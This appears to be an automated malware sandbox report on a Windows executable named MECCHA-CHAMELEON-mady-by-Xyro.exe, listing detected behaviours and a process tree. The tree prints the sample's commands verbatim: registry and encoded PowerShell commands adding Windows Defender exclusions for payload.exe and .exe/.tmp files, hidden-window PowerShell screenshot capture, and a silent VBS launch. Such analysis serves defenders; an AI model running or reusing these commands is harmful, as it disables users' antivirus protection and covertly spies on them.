Overview

overview

10

Static

static

3

MECCHA-CHA...ro.exe

windows10-2004-x64

7

MECCHA-CHA...ro.exe

windows11-ltsc_2024-x64

10

$PLUGINSDI...ls.dll

windows10-2004-x64

3

$PLUGINSDI...ls.dll

windows11-ltsc_2024-x64

3

$PLUGINSDI...em.dll

windows10-2004-x64

3

$PLUGINSDI...em.dll

windows11-ltsc_2024-x64

8

Installer.exe

windows10-2004-x64

10

Installer.exe

windows11-ltsc_2024-x64

10

LICENSES.c...m.html

windows10-2004-x64

3

LICENSES.c...m.html

windows11-ltsc_2024-x64

4

d3dcompiler_47.dll

windows10-2004-x64

1

ffmpeg.dll

windows10-2004-x64

1

ffmpeg.dll

windows11-ltsc_2024-x64

1

libEGL.dll

windows10-2004-x64

1

libEGL.dll

windows11-ltsc_2024-x64

1

libGLESv2.dll

windows10-2004-x64

1

libGLESv2.dll

windows11-ltsc_2024-x64

1

resources/app/main.js

windows10-2004-x64

3

resources/app/main.js

windows11-ltsc_2024-x64

3

resources/elevate.exe

windows10-2004-x64

3

resources/elevate.exe

windows11-ltsc_2024-x64

3

vk_swiftshader.dll

windows10-2004-x64

1

vk_swiftshader.dll

windows11-ltsc_2024-x64

1

vulkan-1.dll

windows10-2004-x64

1

vulkan-1.dll

windows11-ltsc_2024-x64

8

$PLUGINSDI...7z.dll

windows10-2004-x64

3

$PLUGINSDI...7z.dll

windows11-ltsc_2024-x64

3

Analysis

  • max time kernel
    151s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/07/2026, 20:15

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    MECCHA-CHAMELEON-mady-by-Xyro.exe
  • Size 67.1MB
  • Sample260705-y1kqpsbs8m
  • SHA256 d3b37e170aae14111f81d97f67acc7c45e92ce828aab863472c9f176c445c51f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryexecutionpersistenceransomwarespywaretrojan

Malware Config

Signatures

  • Windows security bypass 2 TTPs 7 IoCs
    defense_evasiontrojan
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 12 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

    defense_evasion
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 6 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in Windows directory 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

    defense_evasion
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\MECCHA-CHAMELEON-mady-by-Xyro.exe
    "C:\Users\Admin\AppData\Local\Temp\MECCHA-CHAMELEON-mady-by-Xyro.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:712
    • C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe
      C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3016
      • C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1664 --field-trial-handle=1668,i,3650587852683091274,13899064903550030395,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:5996
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5256
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5476
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:3348
        • C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=2020 --field-trial-handle=1668,i,3650587852683091274,13899064903550030395,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5980
        • C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2160 --field-trial-handle=1668,i,3650587852683091274,13899064903550030395,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2192
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "net session"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4252
          • C:\Windows\system32\net.exe
            net session
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3572
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              5⤵
                PID:6084
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_6a20d8d9.vbs""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5760
            • C:\Windows\system32\wscript.exe
              wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_6a20d8d9.vbs"
              4⤵
                PID:5864
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe" /t REG_DWORD /d 0 /f"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:984
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe" /t REG_DWORD /d 0 /f
                4⤵
                • Windows security bypass
                PID:4832
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe" /t REG_DWORD /d 0 /f"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5448
              • C:\Windows\system32\reg.exe
                reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe" /t REG_DWORD /d 0 /f
                4⤵
                  PID:964
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907" /t REG_DWORD /d 0 /f"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4488
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907" /t REG_DWORD /d 0 /f
                  4⤵
                  • Windows security bypass
                  PID:2036
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907" /t REG_DWORD /d 0 /f"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1952
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907" /t REG_DWORD /d 0 /f
                  4⤵
                    PID:1120
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4768
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                    4⤵
                    • Windows security bypass
                    PID:1376
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5404
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                    4⤵
                      PID:5092
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907\payload.exe" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3512
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907\payload.exe" /t REG_DWORD /d 0 /f
                      4⤵
                      • Windows security bypass
                      PID:4940
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907\payload.exe" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4384
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907\payload.exe" /t REG_DWORD /d 0 /f
                      4⤵
                        PID:4484
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5716
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
                        4⤵
                        • Windows security bypass
                        PID:2824
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3468
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
                        4⤵
                        • Windows security bypass
                        PID:5708
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:5800
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
                        4⤵
                        • Windows security bypass
                        PID:3724
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEcANQBHAG0ARwBkADgARwB4AEQAbwBRAFMAaAB2AFEAWABNAEgAMwBsAE0AQwB6AEsANwBcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMgA4ADMAMgA4ADgAOQAwADcAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAyADgAMwAyADgAOAA5ADAANwBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3752
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEcANQBHAG0ARwBkADgARwB4AEQAbwBRAFMAaAB2AFEAWABNAEgAMwBsAE0AQwB6AEsANwBcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMgA4ADMAMgA4ADgAOQAwADcAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAyADgAMwAyADgAOAA5ADAANwBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
                        4⤵
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3324
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283291106.png\"); $g.Dispose(); $bmp.Dispose()""
                      3⤵
                      • Hide Artifacts: Hidden Window
                      • Suspicious use of WriteProcessMemory
                      PID:1064
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283291106.png\"); $g.Dispose(); $bmp.Dispose()"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:920
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283293058.png\"); $g.Dispose(); $bmp.Dispose()""
                      3⤵
                      • Hide Artifacts: Hidden Window
                      • Suspicious use of WriteProcessMemory
                      PID:2380
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783283293058.png\"); $g.Dispose(); $bmp.Dispose()"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4528
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe""
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1004
                      • C:\Windows\system32\reg.exe
                        reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3G5GmGd8GxDoQShvQXMH3lMCzK7\Installer.exe"
                        4⤵
                          PID:3872
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907""
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4132
                        • C:\Windows\system32\reg.exe
                          reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907"
                          4⤵
                            PID:948
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:4144
                          • C:\Windows\system32\reg.exe
                            reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
                            4⤵
                              PID:1164
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907\payload.exe""
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2352
                            • C:\Windows\system32\reg.exe
                              reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783283288907\payload.exe"
                              4⤵
